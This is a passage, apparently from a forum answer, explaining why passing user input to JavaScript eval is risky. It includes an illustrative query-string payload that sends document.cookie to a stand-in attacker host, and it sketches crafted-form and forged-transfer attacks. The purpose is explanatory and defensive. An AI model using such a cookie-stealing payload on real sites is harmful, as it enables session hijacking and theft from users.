eval for his own ends.
eval is generally considered dangerous is because it is very easy for untrusted code to sneak in. Consider a page that allows you specify input via query string, where the input box is prepopulated with the value in the query string.
An attacker could spread a link that contains code which steals a user’s login cookie:
/some/url?amount=var i=new Image();i.src="http://badguy.ru/x?" + document.cookie;
(Obviously proper URL encoding is required; this is for illustration.)
Or, perhaps your PHP script echos posted data back into your form when validation fails. An attacker could create a specially crafted form that posts to your form with the same cookie-stealing code.
Each of these attacks can be mitigated by using
httpOnly cookies (to prevent stolen login cookies) or making sure that data is sanitized – but the point is this isn’t even close to an exhaustive list of how things can go wrong. For example, an injected script could still insert 1000 in the amount field and try to transfer that amount to the attacker’s account (if this is a money transfer page).
So the bottom line is that if you can make absolutely sure that the only way input makes its way into your text field is via user input, you’re fine: the user hasn’t gained anything they wouldn’t be able to do otherwise via the console. However, if an attacker can somehow get their own data into that field,
evaling it may expose you to a vulnerability.